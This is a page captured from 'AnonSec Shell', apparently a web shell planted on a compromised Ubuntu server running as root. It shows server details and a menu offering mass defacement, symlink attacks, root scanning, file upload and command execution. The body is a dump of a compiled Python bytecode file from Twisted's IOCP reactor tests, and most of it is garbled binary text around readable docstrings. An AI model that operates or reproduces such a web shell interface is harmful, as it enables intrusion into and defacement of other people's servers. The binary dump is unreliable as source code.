AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/internet/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/internet/test/__pycache__/test_iocp.cpython-310.pyc
o

�b�
@spdZddlZddlZddlZddlmZddlmZmZmZm	Z	mZddl
mZddlm
Z
ddlmZddlmZdd	lmZdd
lmZz(ddlmZmZmZddlmZdd
lmZddlm Z ddl!m"Z"m#Z#m$Z$Wne%yej&dkr{�dZ'Ynwz	eee��(�Wne)y�Z*zdZ+e,e*�Z-WYdZ*[*n	dZ*[*wwdZ+dZ-Gdd�de�Z.Gdd�de�Z/dS)z,
Tests for L{twisted.internet.iocpreactor}.
�N)�array)�AF_INET�AF_INET6�SOCK_STREAM�
SOL_SOCKET�socket)�pack)�skipIf)�verifyClass)�
IPushProducer)�msg)�TestCase)�iocpsupport�tcp�udp)�
FileHandle)�SO_UPDATE_ACCEPT_CONTEXT)�IReadWriteHandle)�EVENTS_PER_LOOP�
KEY_NORMAL�IOCPReactor�win32z%This test only applies to IOCPReactorTF�c@s2eZdZdZdd�Zdd�Zeee�dd��Z	dS)	�SupportTestszn
    Tests for L{twisted.internet.iocpreactor.iocpsupport}, low-level reactor
    implementation helpers.
    c
Cs�td|���t|t�}|�|j�|�d�|�d�t|t�}|�|j�|�d�z
|�||�	�df�Wnt
yV}z|�|jtj
tjf�WYd}~nd}~wwt|t�}|�|j�tdd�}|�dt�|��|��|d��ttd	��D]7}z|�tttd
|����Wn&t
y�}	z|	jttd�kr��|dkr��WYd}	~	nd}	~	wwt�d�q}|�||��dd
�|�	�dd
�ft�|��|��dS)a�
        Create a C{SOCK_STREAM} connection to localhost using a socket with an
        address family of C{family} and assert that the result of
        L{iocpsupport.get_accept_addrs} is consistent with the result of
        C{socket.getsockname} and C{socket.getpeername}.

        A port starts listening (is bound) at the low-level socket without
        calling accept() yet.
        A client is then connected.
        After the client is connected IOCP accept() is called, which is the
        target of these tests.

        Most of the time, the socket is ready instantly, but sometimes
        the socket is not ready right away after calling IOCP accept().
        It should not take more than 5 seconds for a socket to be ready, as
        the client connection is already made over the loopback interface.

        These are flaky tests.
        Tweak the failure rate by changing the number of retries and the
        wait/sleep between retries.

        If you will need to update the retries to wait more than 5 seconds
        for the port to be available, then there might a bug in the code and
        not the test (or a very, very busy VM running the tests).
        z	family = )rr�FN�Bsr��P�WSAENOTCONNg�������?�)rrr�
addCleanup�close�bind�listen�setblocking�connect�getsockname�OSError�assertIn�errno�EINPROGRESS�EWOULDBLOCKr�assertEqual�_iocp�accept�fileno�reversed�range�
setsockoptrrr�getattr�time�sleep�getpeername�get_accept_addrs)
�self�family�	localhost�port�client�e�server�buff�attemptsRemaining�socketError�rB�A/usr/lib/python3/dist-packages/twisted/internet/test/test_iocp.py�_acceptAddressTest7sJ




"��

 ���� �zSupportTests._acceptAddressTestcC�|�td�dS)a
        L{iocpsupport.get_accept_addrs} returns a three-tuple of address
        information about the socket associated with the file descriptor passed
        to it.  For a connection using IPv4:

          - the first element is C{AF_INET}
          - the second element is a two-tuple of a dotted decimal notation IPv4
            address and a port number giving the peer address of the connection
          - the third element is the same type giving the host address of the
            connection
        z	127.0.0.1N)rDr�r8rBrBrC�test_ipv4AcceptAddress��z#SupportTests.test_ipv4AcceptAddresscCrE)a�
        Like L{test_ipv4AcceptAddress}, but for IPv6 connections.
        In this case:

          - the first element is C{AF_INET6}
          - the second element is a two-tuple of a hexadecimal IPv6 address
            literal and a port number giving the peer address of the connection
          - the third element is the same type giving the host address of the
            connection
        z::1N)rDrrFrBrBrC�test_ipv6AcceptAddress�rHz#SupportTests.test_ipv6AcceptAddressN)
�__name__�
__module__�__qualname__�__doc__rDrGr	�ipv6Skip�ipv6SkipReasonrIrBrBrBrCr1sRrc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�IOCPReactorTestscCs"t�}|��|�|�d��dS)zd
        Test reactor behavior (doIteration) when there are no pending time
        events.
        N)r�wakeUp�assertFalse�doIteration)r8�irrBrBrC�test_noPendingTimerEvents�sz*IOCPReactorTests.test_noPendingTimerEventscCs(|�tttj��|�tttj��dS)zY
        Verify that IOCP socket-representing classes implement IReadWriteHandle
        N)�
assertTruer
rr�
Connectionr�PortrFrBrBrC�test_reactorInterfaces�sz'IOCPReactorTests.test_reactorInterfacescCs|�ttt��dS)zH
        Verify that L{Filehandle} implements L{IPushProducer}.
        N)rVr
rrrFrBrBrC�test_fileHandleInterfaces�sz*IOCPReactorTests.test_fileHandleInterfacescCs�Gdd�d�}t�}|�}t�|j|�}ttd�D]
}|j�dt|�q|�	d�|�
|jt�|�	d�|�
|jtd�dS)z�
        Verify that we don't lose an event when more than EVENTS_PER_LOOP
        events occur in the same reactor iteration
        c@s eZdZdZdd�Zdd�ZdS)z;IOCPReactorTests.test_maxEventsPerIteration.<locals>.FakeFDrcSsdS)N�FakeFDrBrFrBrBrC�	logPrefix�szEIOCPReactorTests.test_maxEventsPerIteration.<locals>.FakeFD.logPrefixcSs|jd7_dS)Nr)�counter)r8�rc�bytes�evtrBrBrC�cb�sz>IOCPReactorTests.test_maxEventsPerIteration.<locals>.FakeFD.cbN)rJrKrLr]r\rarBrBrBrCr[�sr[rrN)rr-�Eventrar1rr;�	postEventrrSr,r])r8r[rT�fd�event�_rBrBrC�test_maxEventsPerIteration�s	

z+IOCPReactorTests.test_maxEventsPerIterationN)rJrKrLrUrYrZrgrBrBrBrCrP�s
	rP)0rMr)�sysr4rrrrrr�structr�unittestr	�zope.interface.verifyr
�twisted.internet.interfacesr�twisted.python.logr�twisted.trial.unittestr
�twisted.internet.iocpreactorrr-rr�%twisted.internet.iocpreactor.abstractr�"twisted.internet.iocpreactor.constr�'twisted.internet.iocpreactor.interfacesr�$twisted.internet.iocpreactor.reactorrrr�ImportError�platform�skipr!r'r=rN�strrOrrPrBrBrBrC�<module>sD
���u

Anon7 - 2022
AnonSec Team